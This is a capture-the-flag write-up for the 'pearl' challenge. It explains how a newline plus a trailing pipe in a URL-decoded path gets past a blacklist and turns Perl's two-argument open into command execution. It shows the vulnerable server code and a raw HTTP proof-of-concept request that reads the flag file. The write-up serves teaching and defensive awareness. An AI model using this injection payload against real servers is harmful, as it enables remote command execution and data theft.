Challenge source
Introduction
pearl is about Perl’s two-argument open on unsanitized input. That form silently enables pipe opens (i.e. command execution) when the filename ends in |. The server URL-decodes the path too, so we can smuggle in a newline and arguments. Its blacklist catches a lot but misses the single trailing pipe, which is enough to run cat /flag*.

Context Explanation
- A custom Perl HTTP server on
HTTP::Daemon, serving files from./files(seeserver.pl). - The request path, after URL-decoding, builds a filesystem path that’s handed to two-arg
open. - The “sanitization” is a blacklist regex blocking
.., some shell metacharacters, and|.*|, but not a lone trailing|and not newlines. - The flag file is renamed at container start (
flag.txt->/flag-<md5>.txt), so/flag*matches reliably.
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
Directive
- Build a path that, once URL-decoded, carries a newline and a shell command ending in a trailing
|. - Send it so two-arg
openreads it as a pipe open and runs the command. - Glob
/flag*to hit the randomized flag filename.
Solution
1) Server behavior & vulnerable code
Relevant pieces from server.pl:
my $webroot = "./files";
...
while (my $r = $c->get_request) {
if ($r->method eq 'GET') {
my $path = CGI::unescape($r->uri->path); # URL-decodes (%0A => newline)
$path =~ s|^/||;
$path ||= 'index.html';
my $fullpath = File::Spec->catfile($webroot, $path);
# Partial blacklist — note it only bans a pipe WHEN followed by ... another pipe
if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) {
$c->send_error(RC_BAD_REQUEST, "Invalid path");
next;
}
...
# Serve file
open(my $fh, $fullpath) or do { # <-- two-arg open on untrusted string
$c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file.");
next;
};
binmode $fh;
my $content = do { local $/; <$fh> };
close $fh;
...
Three things line up here:
CGI::unescapeturns%0Ainto a real newline inside$path.- The regex only matches
\|.*\|(pipe, something, pipe), so a single trailing|slips past. - Two-arg
openon a string ending in|becomes a pipe read from the command before it. So if$fullpathends up as"./files/x\ncat /flag*|", Perl runscat /flag*and pipes the output into$fh.
Also from the Dockerfile:
COPY flag.txt /
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
Which is why /flag* is a safe glob target.
2) PoC request — newline + trailing pipe
The PoC (pearl/poc/pearl.txt) sends a raw HTTP request:
GET /x%0Acat%20/flag*%7C HTTP/1.1
Host: pearl.chal.imaginaryctf.org
Connection: keep-alive
URL-decoded path becomes:
/x
cat /flag*|
- Line 1 is a throwaway filename under
./files/(it needn’t exist). - Line 2 is the command we want
opento run, ending in|. openreads$fullpathas a pipe, runscat /flag*, and the flag comes back.

3) Why it works
The whole thing hangs on two-arg open over an untrusted scalar, where a trailing | means “run this as a command”. The blacklist never covers that single-pipe case and never strips newlines, so a newline lets us tack a separate command onto a filename. CGI::unescape turns %0A into the real newline that makes it parse, and /flag* sidesteps the randomized filename.
Tips & Tricks
- Perl open gotcha:
open($fh, $user_input)should set off alarms. A trailing|reads from a command, a leading|writes to one, both are handy primitives. - Weak blacklists:
\|.*\|only catches paired pipes. A newline (%0A) plus a single pipe slips straight through. - Randomized filenames: when the flag is renamed with a hash, glob it (
/flag*) instead of guessing.